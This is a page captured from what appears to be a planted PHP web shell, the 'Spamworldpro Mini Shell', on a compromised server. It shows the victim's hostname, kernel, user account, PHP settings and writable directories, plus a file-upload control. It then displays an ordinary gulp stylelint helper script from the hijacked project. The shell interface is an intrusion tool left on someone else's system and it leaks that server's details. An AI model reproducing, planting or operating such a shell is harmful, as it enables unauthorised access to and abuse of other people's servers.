Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/tools/helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/tools/helper/css-lint.js
'use strict';
module.exports = function(gulp, plugins, config, name, file) { // eslint-disable-line func-names
  const theme           = config.themes[name],
        srcBase         = config.projectPath + theme.dest,
        stylelintConfig = require('../helper/config-loader')('stylelint.yml', plugins, config);

  return gulp.src(file || plugins.globby.sync(srcBase + '/**/*.css'))
    .pipe(plugins.if(
      !plugins.util.env.ci,
      plugins.plumber({
        errorHandler: plugins.notify.onError('Error: <%= error.message %>')
      })
    ))
    .pipe(plugins.postcss([
      plugins.stylelint({
        config: stylelintConfig
      }),
      plugins.reporter({
        clearMessages: true,
        throwError: plugins.util.env.ci || false
      })
    ]))
    .pipe(plugins.logger({
      display   : 'name',
      beforeEach: 'Theme: ' + name + ' ' + 'File: ',
      afterEach : ' - CSS Lint finished.'
    }));
};

Spamworldpro Mini